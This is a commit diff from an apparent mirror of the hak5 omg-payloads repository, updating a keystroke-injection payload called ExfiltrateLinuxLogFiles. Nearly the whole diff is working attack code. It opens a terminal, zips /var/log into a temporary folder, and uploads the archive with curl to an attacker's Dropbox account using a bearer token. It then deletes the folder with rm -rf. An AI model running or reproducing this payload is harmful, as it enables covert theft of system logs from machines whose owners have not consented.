hak5
/
omg-payloads
mirror of https://github.com/hak5/omg-payloads.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update payload.txt

pull/149/head
Kalani Helekunihi 2023-06-12 14:47:26 -04:00 committed by GitHub
parent 372e44e389
commit 16d005ea73
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 15 additions and 41 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

56
payloads/library/exfiltration/ExfiltrateLinuxLogFiles/payload.txt
View File

@ -13,68 +13,42 @@ REM - Internet Connection
REM - Dropbox Account REM - Dropbox Account
REM - - DROPBOX_ACCESS_TOKEN REM - - DROPBOX_ACCESS_TOKEN
DEFINE #TOKEN example
DEFINE #DROPBOX_API_LINK https://content.dropboxapi.com/2/files/upload
DELAY 1000 DEFAULT_DELAY 500
CTRL-ALT t CTRL ALT t
REM Required: Set here your Dropbox access TOKEN REM Required: Set here your Dropbox access TOKEN
DELAY 2000 DELAY 2000
DEFINE TOKEN example STRINGLN ACCESS_TOKEN="#TOKEN"
STRING ACCESS_TOKEN="
STRING TOKEN
STRING "
ENTER
STRINGLN USER_NAME=$(whoami)
DELAY 500
STRING USER_NAME=$(whoami)
ENTER
REM Create random num REM Create random num
DELAY 500 STRINGLN RANDOM=$(shuf -i 1-999999999999 -n 1)
STRING RANDOM=$(shuf -i 1-999999999999 -n 1)
ENTER
REM Folder path REM Folder path
DELAY 500 STRINGLN TMP_FOLDER_PATH=$(mktemp -d -p "/home/$USER_NAME/tmp/" prefix-XXXXXXXXXX)
STRING TMP_FOLDER_PATH=$(mktemp -d -p "/home/$USER_NAME/tmp/" prefix-XXXXXXXXXX)
ENTER
REM Zip path REM Zip path
DELAY 500 STRINGLN ZIP_NAME="$RANDOM.zip"
STRING ZIP_NAME="$RANDOM.zip" STRINGLN ZIP_PATH="$TMP_FOLDER_PATH/$ZIP_NAME"
ENTER
DELAY 500
STRING ZIP_PATH="$TMP_FOLDER_PATH/$ZIP_NAME"
ENTER
REM Default log path REM Default log path
DELAY 500 STRINGLN LOG_PATH="/var/log/"
STRING LOG_PATH="/var/log/"
ENTER
DELAY 500 STRINGLN zip -r "$ZIP_PATH" "$LOG_PATH"
STRING zip -r "$ZIP_PATH" "$LOG_PATH"
ENTER
REM Delay of zipping operation - it depends REM Delay of zipping operation - it depends
DELAY 10000 DELAY 10000
DELAY 500 STRINGLN DROPBOX_FOLDER="/$ZIP_NAME"
STRING DROPBOX_FOLDER="/$ZIP_NAME"
ENTER
REM Send to Dropbox function REM Send to Dropbox function
DEFINE DROPBOX_API_LINK https://content.dropboxapi.com/2/files/upload STRINGLN curl -X POST #DROPBOX_API_LINK --header "Authorization: Bearer $ACCESS_TOKEN" --header "Dropbox-API-Arg: {\"path\": \"$DROPBOX_FOLDER\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" --header "Content-Type: application/octet-stream" --data-binary "@$ZIP_PATH"
DELAY 500
STRING curl -X POST
STRING DROPBOX_API_LINK
STRING --header "Authorization: Bearer $ACCESS_TOKEN" --header "Dropbox-API-Arg: {\"path\": \"$DROPBOX_FOLDER\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" --header "Content-Type: application/octet-stream" --data-binary "@$ZIP_PATH"
ENTER
REM Send timing - it depends REM Send timing - it depends
DELAY 5000 DELAY 5000
DELAY 500 STRINGLN rm -rf "$TMP_FOLDER_PATH"
STRING rm -rf "$TMP_FOLDER_PATH"
ENTER